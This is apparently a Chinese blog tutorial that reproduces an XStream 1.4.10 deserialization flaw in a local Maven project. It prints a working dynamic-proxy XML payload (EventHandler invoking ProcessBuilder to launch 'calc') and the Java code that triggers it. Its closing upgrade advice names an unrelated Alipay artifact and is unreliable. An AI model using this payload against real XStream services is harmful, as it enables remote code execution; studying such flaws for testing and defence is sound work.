• XStream反序列化漏洞测试实践


    XStream是一个将java对象序列化为xml以及从xml反序列化为java对象的开源类库。

    1.idea创建maven项目

    2.pom.xml中引入漏洞版本依赖

    <dependencies>
            <dependency>
                <groupId>com.thoughtworks.xstream</groupId>
                <artifactId>xstream</artifactId>
                <version>1.4.10</version>
            </dependency>
        </dependencies>
    

      

    3.创建person类

    class Person
    {
        private String name;
        private int age;
        public Person(String name,int age)
        {
            this.name=name;
            this.age=age;
        }
        @Override
        public String toString()
        {
            return "Person [name=" + name + ", age=" + age + "]";
        }
    

      

    4.创建main函数,测试一下

    import com.thoughtworks.xstream.XStream;
    import com.thoughtworks.xstream.io.xml.DomDriver;
    
    public class Main {
        public static void main(String args[]) throws Exception{
            /*XML序列化*/
            Person person=new Person("张四",19);
            XStream xstream = new XStream(new DomDriver());//生成并设置XML解析器
            //序列化
            String xml = xstream.toXML(person);
            System.out.println(xml);
            //反序列化
            person=(Person)xstream.fromXML(xml);
            System.out.println(person);
    
    
        }
    }
    

      

     可以看到的是,已经提示了XStream存在风险了。

    5.创建一个interface

    public interface Car {
        void start();
        void run();
        void stop();
    }
    

      

    6.创建一个1.xml文件,放到resources目录下

    <dynamic-proxy>
        <interface>Car</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>calc</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
    

      

    6.创建一个类执行反序列化

    import com.thoughtworks.xstream.XStream;
    
    import java.io.FileInputStream;
    import java.io.FileNotFoundException;
    import java.io.InputStream;
    
    public class Rcetest {
        public void rcetest() throws FileNotFoundException {
            String path = this.getClass().getClassLoader().getResource("1.xml").getPath();
            InputStream in = new FileInputStream(path);
            XStream xs = new XStream();
            Car c = (Car)xs.fromXML(in);
            c.run();
        }
    }
    

      

    7.main运行

    public class Main {
        public static void main(String args[]) throws Exception{
            /*XML序列化*/
            /*Person person=new Person("张四",19);
            XStream xstream = new XStream(new DomDriver());//生成并设置XML解析器
            //序列化
            String xml = xstream.toXML(person);
            System.out.println(xml);
            //反序列化
            person=(Person)xstream.fromXML(xml);
            System.out.println(person);*/
            Rcetest mytest =new Rcetest();
            mytest.rcetest();
    
    
    
        }
    }
    

      

    之后再花时间分析原因吧

    建议升级版本:

    <dependency>
            <groupId>com.alipay.fc.supergw</groupId>
            <artifactId>fcsupergw-unimsg</artifactId>
            <version>2.0.0.20200805</version>
    </dependency>
    

      

  • 相关阅读:
    Python全栈开发:Mysql(二)
    Python全栈开发:pymysql
    Python全栈开发:html标签
    Pandas中Series和DataFrame的索引
    回归问题的性能度量标准
    偏度和峰度的计算
    特征相似性度量
    knn算法
    贝叶斯分类器
    线性模型和逻辑回归
  • 原文地址:https://www.cnblogs.com/fczlm/p/14440728.html
Copyright © 2020-2023  润新知